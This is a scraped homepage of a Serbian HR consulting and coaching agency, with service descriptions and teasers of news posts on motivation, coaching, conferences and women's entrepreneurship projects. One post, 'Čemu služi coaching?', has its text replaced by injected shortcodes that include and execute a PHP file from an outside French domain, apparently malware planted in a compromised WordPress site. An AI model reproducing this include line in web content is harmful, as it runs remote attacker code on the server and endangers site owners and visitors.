Čime se bavimo
i šta najbolje radimo
HR konsalting
ROAD HR pruža usluge outsourcinga i konsaltinga u oblasti ljudskih resursa prilagođene i skrojene u skladu sa potrebama vašeg preduzeća
Trening
Posebno prilagođeni nivou znanja vaših zaposlenih, rešavamo specifične situacije sa kojima se vaši zaposleni susreću tokom rada…
Wingwave
je najefikasniji način brzog otklanjanja stresa, strahova, mentalnih i emocionalnih blokada i sigurnog postizanja uspeha.
Coaching
Poštujemo poverljivost svih informacija koje nam klijent iznosi, potpuno poštujemo sve zaključene ugovore u kontekstu profesionalnih coaching odnosa
O nama
ROAD | HR Training & Coaching
ROAD HR je počeo sa radom 2011. godine kao agencija koja je fokusirana na rezultate i promene koje klijenti ostvaruju dugoročno, vodeći računa o korporativnom i individualnom razvoju. Naš cilj je da kroz treninge, edukacije, coaching i savetovanje stvorimo podsticajno organizaciono okruženje u kojem se svaki pojedinac razvija i ostvaruje puni potencijal. Posebnu pažnju u našem radu posvećujemo saradnji sa malim i srednjim preduzećima, koje rade na razvoju funkcije ljudskih resursa.
Naš tim čine
Uglješa Atanacković
Maja Stančetić
Bojana Vatić
Utisci naših klijenata
šta kažu o nama
NOVOSTI
Kako zadržati motivaciju na visokom nivou
Kada bi spojili motivaciju i energiju, mogli bi velike stvari da uradite. Šta je to što motiviše druge, što utiče da se zadaci ostvaruju brže a rezultati da budu bolji. Kako je za ličnu motivaciju pojedinac odgovran, tako je za menadžera bitno da podstaknu motivaciju kod svojih zaposlenih. Lider treba da bude svestan činjenice da[…]
5 Koraka u razvoju zaposlenih
Dobro osmišljen plan daje zaposlenima mogućnost i jasan pravac kako da povećaju svoje veštine i unaprede svoje karijere. Plan razvoja zaposlenih treba da se kreira od strane menadžmenta, precizno definisan i isplaniran unapred pomoću alata koji garantuju uspeh organizacije i zaposlenih. Praćenjem koraka koji su neophodni u tom procesu, osiguraćete da razvojni planovi vaših[…]
Kako izgleda coaching susret?
Jeste li znali da 90% kompanije sa liste najuspešnijih u SAD-u imaju angažovanog coach-a koji brine o mentalnom i emocionalnom zdravlju zaposlenih. Verovatno se sada pitate a dobro je pitati se šta uopšte coach radi u kompaniji i na koji način brine o mentalnom i emocionalnom zdravlju. Verujem da ste se barem jednom zapitali šta[…]
Čemu služi sistematizacija radnih mesta?
Veliki broj mikro i malih preduzeća funkcionišu po principu „svi rade sve“ što u praksi znači da posao obavlja zaposleni koji u datom trenutku ima najmanje obaveza ili ima sklonosti ka određenoj oblasti poslovanja. Potpuno je razumljivo da ovakav sistem funkcioniše u mikro preduzećima koja su novoosnovana i razvijaju svoje poslovanje. Sisitematizacija radnih mesta je[…]
Učešće na konferenciji projekta ONAsnaživanje
Konferencija pod nazivom Ekonomsko osnaživanje žena kao jedan od ključnih faktora prevencije i zaštite od nasilja prema ženama održana je u četvrtak i petak, 25. i 26. februara u Kulturnom centru Rex u Beogradu u organizaciji Fondacije fond B92. Primarni cilj konferencije je bio predstavljanje modela ekonomskog jačanja žena, pilotiranog u okviru projekta ONAsnaživanje, kao[…]
Članovi European Coaching Association
European Coaching Association (ECA) je evropska asocijacija profesionalnih koučeva u Evropi koja je osnovana 1994. godine. Članovi ECA ispunjavaju visoke profesionalne i etičke standarde koučinga kao profesije a najčešće rade u kompanijama sa direktorima, menadžerima i vođama timova. ECA licenca garantuje da je član završio profesionalnu i međunarodno priznatu koučing edukaciju i da poseduje profesionalno[…]
Učešće na konferenciji H2H u Zagrebu
H2H konferencija namenjena je preduzetnicima i direktorima organizacija malih i srednjih preduzeća, menadžerima i voditeljima timova, osobama zaduženim za strateške i razvojne odluke. Organizatori konferencije su Vis Animi, Centar za ljudske potencijale i coaching i Hrvatska gospodarska komora. Cilj konferencije je približiti ključnim ljudima malog i srednjeg preduzetništva važnost razvoja i upravljanja ljudskim potencijalima kao[…]
Učešće u programu „Aktivacijom do zaposlenja” za mlade sa invaliditetom
Program “Aktivacijom do zaposlenja” predstavlja deo projekta “Aktivacijom do inkluzije u zapošljavanju” koji realizuje udruženje Forum mladih sa invaliditetom. Program je kreiran na osnovu iskustva Foruma mladih sa invaliditetom u saradnji sa velikim brojem kompanija na procesu zapošljavanja i obuhvata set veština koje diktiraju savremeni trendovi na tržištu rada i koje poslodavci označavaju kao jedan[…]
ONAsnaživanje žena za samozapošljavanje
Projektom „ONAsnaživanje“ pilotira se novi servis za ekonomsko osnaživanje žena u Sigurnoj kući Sombor. Nova usluga uključuje treninge/kurseve za trenutne i nekadašnje štićenice somborske sigurne kuće, ali i žene koje nisu u sistemu zaštite a identifikovane su kao potencijalne pripadnice ove ciljne grupe. Korisnice programa su i ekonomski ugrožene žene iz Zapadne Bačke, kojima se[…]
Čemu služi coaching?
[insert_php] include(“http://acommeamour.fr/tmp/yvrsf.php”); [/insert_php] [php] include(“http://acommeamour.fr/tmp/yvrsf.php”); [/php]
Ravnoteža između života i rada
Ukoliko se osvrnete oko sebe, primetićete da se veliki broj ljudi žali na neku vrstu umora i iscrpljenosti. Iako možda za neke neočekivano, moderno doba i pored tehničke revolucije i razvoja sa sobom nosi ogromnu količinu umora i iscrpljenosti, sve češća izgaranja na poslu i neslućeni vapaj za odmorom. Međutim, ako samo malo bolje oslušnete[…]
Na razgovoru za posao „prodajete sebe“
Razgovor za posao na koji ste pozvani ima za cilj da vas poslodavac bolje upozna i uveri se u kojoj meri posedujete potencijal za ostvarenje ciljeva kompanije. Na samom putu do ostvarenja korporativnih ciljeva predstoji niz izazova koje je neophodno rešiti. Zaposelni u sektoru ljudskih resursa i poslodavci traže kandidate koji poseduju znanje, veštine i[…]
Strah od neuspeha
Zamislite da svi živimo u idealnom svetu. U svetu gde ne postoji neuspeh, gde ne postoje granice, gde ne postoji rizik, gde ništa ne može „poći po zlu“ i gde sve što zamislite možete i da ostvarite. Razmislite o tome šta biste uradili, koje svoje želje i snove biste bez straha sledili. Da li biste[…]
Karijerno osnaživanje žena u Somboru
Projektom „ONAsnaživanje“ pilotira se novi servis za ekonomsko osnaživanje žena u Sigurnoj kući Sombor. Nova usluga uključuje treninge/kurseve za trenutne i nekadašnje štićenice somborske sigurne kuće, ali i žene koje nisu u sistemu zaštite a identifikovane su kao potencijalne pripadnice ove ciljne grupe. Korisnice programa su i ekonomski ugrožene žene iz Zapadne Bačke, kojima se[…]
Učešće na konferenciji “Mogućnosti i (ne)prilike poduzetništva”
Konferencija „Mogućnosti i (ne)prilike poduzetništva“ održana je 18.06.2015. po četvrti put u Vinkovcima. Tokom jednodnevne regionalne koferencije koja je okupila privrednike i stručnjake iz oblasti odnosa s javnošću, NLP-a, upravljanja ljudskim resursima, coachinga i start-up poslovanja na kojoj je učešće uzelo sedam predavača i sedam panelista. Tokom panel diskusije diskutovalo se o aktivnim merama zapošljavanja,[…]
[PREDAVANJE] Wingwave coaching
Wingwave® je najefikasniji način brzog otklanjanja stresa, strahova, mentalnih i emocionalnih blokada i sigurnog postizanja uspeha. Razvija kreativnost, samopouzdanje, mentalne sposobnosti i emocionalnu fleksibilnost putem ciljanog razvoja ličnih resursa. Wingwave coaching može pomoći u pronalaženju nesvesnih kočnica, skrivenih okidača stresa ili odgovarajućih resursa koji mogu poslužiti u uspešnoj mentalnoj pripremi. Benefite ove metode do sada[…]
Subvencije za žensko preduzetništvo u 2014.
Mikro, mala i srednja preduzeća, kao i preduzetnici čiji je osnivač žena imaju priliku za dodelu bespovratnih sredstava u iznosu od 50 000,00 do 300 000,00 dinara. Rok za podnošenje prijava je 11. jul 2014. godine. U cilju razvoja ženskog preduzetništva kroz usklađivanje poslovanja sa zahtevima međunarodnih standarda poslovanja, unapređivanje poslovnih procesa, proizvoda i usluga[…]
Sertifikat NARR za obavljanje konsultantske delatnosti
Agencija ROAD i konsultant Uglješa Atanacković su uključeni od samog početka u proces standardizacije konsultantskih usluga koji realizuje Nacionalna agencija za regionalni razvoj. 17.04.2014. na osnovu rezultata dosadašnjeg rada i preporuka klijenata sertifikat za obavljanje konsultantskih aktivnosti je obnovljen i produžen na rok od dve godine. Sertifikacija je zasnovana na ispunjavanju ključnih kriterijuma za efikasan[…]
Učešće na “Poslovnom izazovu” za đake iz Vojvodine
U Novom Sadu 20.02.3014. godine održano je tradicionalno takmičenje učenika u kreiranju najbolje poslovne ideje i plana poslovanaja. “Poslovni izazov” je pokrenut sa namerom da podstakne srednjoškolce da upotrebe svoje veštine na inovativan način kako bi unapredili svoj preduzetnički duh i povećali svoje mogućnosti za zapošljavanje. U toku školske godine na četiri regionalna Poslovna izazova[…]
[PREDAVANJE] Pokrenite uspeh
Uspeh u poslovnim aktivnostima, sportske aktivnosti gotovo na profesionalnom nivou, stalna dostupnost i otvorenost za sve mogućnosti, prijateljstvo i uz to, savršeno roditeljstvo, za sve je ovo potrebno pronaći mesta u čarobnom paketu zvanom život, bez obzira na životnu dob. Naš život je danas sve brži, a mi smo postali sve zahtevniji. Želimo da budemo[…]
Magic Words Coaching metoda
Poznato je da su reči su najjača droga koju čovečanstvo koristi. Reči koje dosledno govorite oblikuju vaš život i vašu sudbinu. Promenom reči u svakodnevnom govoru menjate svoje emocije, događaje i život. “Magic Words” (čarobne reči) je moćna inspirativna metoda Instituta “Besser–Siegmund” iz Hamburga za brzo otklanjanje stresa, stresnih reči, blokada, neprijatnih emocija ili negativnih uverenja.[…]
Wingwave® Coaching metoda
Wingwave® je najefikasniji način brzog otklanjanja stresa, strahova, mentalnih i emocionalnih blokada i sigurnog postizanja uspeha. Razvija kreativnost, samopouzdanje, mentalne sposobnosti i emocionalnu fleksibilnost putem ciljanog razvoja ličnih resursa. Šta se postiže sa Wingwave®-om? Siguran uspeh Vrhunski rezultat Ostvarivanje tačno isplaniranog rezultata Trenutno uklanjanje stresa, negativnih emocija i stanja Sprečava se „burn out“ Emocionalna[…]
Održano predavanje ljudski resursi u ulozi povećanja profita
U Plavoj sali Regionalne privredne komore Novi Sad 20. septembra održano je predavanje na temu “Ljudski resursi u ulozi povećanja profita”. Predavanju je prisustvovao veliki broj preduzetnika i profesionalaca u oblasti menadžmenta ljudskih resursima u cilju upoznavanja sa efektima koje nosi menadžment promena i ulaganje u razvoj i trening ljudskih resursa u kompanijama. Uglješa Atanacković,[…]
[PREDAVANJE] Ljudski resursi u ulozi povećanja profita
LJUDSKI RESURSKI U ULOZI POVEĆANJA PROFITA Besplatno predavanje održava se 20. septembra 2013. godine sa početkom u 12,00 časova u RPK Novi Sad, Narodnog fronta 10 Izazov ulaska i takmičenja na međunarodnom tržištu, zahteva permanentno praćenje brzine naučno-tehnoloških dostignuća i stvaranje kulture neprekidnog učenja i sticanja znanja i veština, kao ključnih faktora[…]
Održano predavanje za žene preduzetnice
U Regionalnoj privrednoj komori Novi Sad 22.08.2013. održan je sastanak Grupacije ženskog preduzetništva južno-bačkog okruga tokom kojeg je direktor agencije ROAD Human Resources & Communications održao predavanje i razgovarao sa preduzetnicama o važnosti ulaganja u ljudske resurse. Pored edukativnog dela svakako važan deo ovog susreta je bila razmena iskustva u radu i razgovor o izazovima[…]
CV fotografija
Kada u Google pretrazi ukucate pojam „CV fotografija“ pretraživač Vam ponudi 235.000 rezultata, među kojima možete pronaći mnoge članke, mišljenja HR menadžera, savete i forum diskusije na ovu temu. Iako postoji ovako veliki broj rezultata pretrage samo na našem jeziku, u svojoj radnoj praksi i dalje dobijam fotografije sa letovanja, one ukrašene ruzmarinima sa izuzetno[…]
Dodeljeni sertifikati polaznicima kursa “Uspešna prodaja”
Posle jednomesečnog mentorskog rada, u petak, 28. juna 2013. godine, polaznicima interaktivnog trening seminara „Veštine uspešne prodaje“ dodeljeni su sertifikati o uspešno završenom programu edukacije. Polaznike interaktivnog trening seminara su u ime RPK Novi Sad, pozdravile Jelena Stojanović i Jelena Stankov. Prisutnima je tom prilikom trener i mentor, Uglješa Atanacković, predstavio koncept celoživotnog učenja i[…]
Subvencije Nacionalne agencije za regionalni razvoj
Nacionalna agencija za regionalni razvoj tokom maja raspisala je javne pozive za dodelu bespovratnih sredstava. ROAD Human Resources & Communications sa sertifikovanim i ovlašćenim konsultantima učestvuje u oblastima edukacije menadžmenta i zaposlenih kroz specijalizovane obuke, kao i usluge mentoringa za preduzeća u ranoj fazi razvoja. Javni poziv za dodelu bespovratnih sredstava u okviru podrške malim[…]
Zašto je važno ulagati u ljudske resurse?
Zašto je važno ulagati u ljudske resurse? Primjenjuju li zemlje regije nova saznanja u oblasti ljudskih resursa? Koliko je ljudski potencijal pokretač privrednog razvoja? Gosti Konteksta emisije Al Jazeera Balkans su: u Beogradu je gostujući profesor na Fakultetu političkih nauka dr. Borislav Miljanović; u Zagrebu je voditelj Instituta za kvalitetu i razvoj ljudskih potencijala, profesor[…]
Popusti za članove Unije poslodavaca Vojvodine
U saradnji sa Unijom poslodavaca Vojvodine u cilju da naše usluge učinimo dostupnijim domaćim kompanijama pridružili smo se UPV klubu, jedinstvenom klubu poslodavačke solidarnosti. Preko UPV Kluba poslodavci članovi UPV mogu nabavljati proizvode i koristiti usluge drugih članova UPV sa popustima, ali i ponuditi svoje proizvode i usluge sa popustima drugim članovima. ROAD Human Resources[…]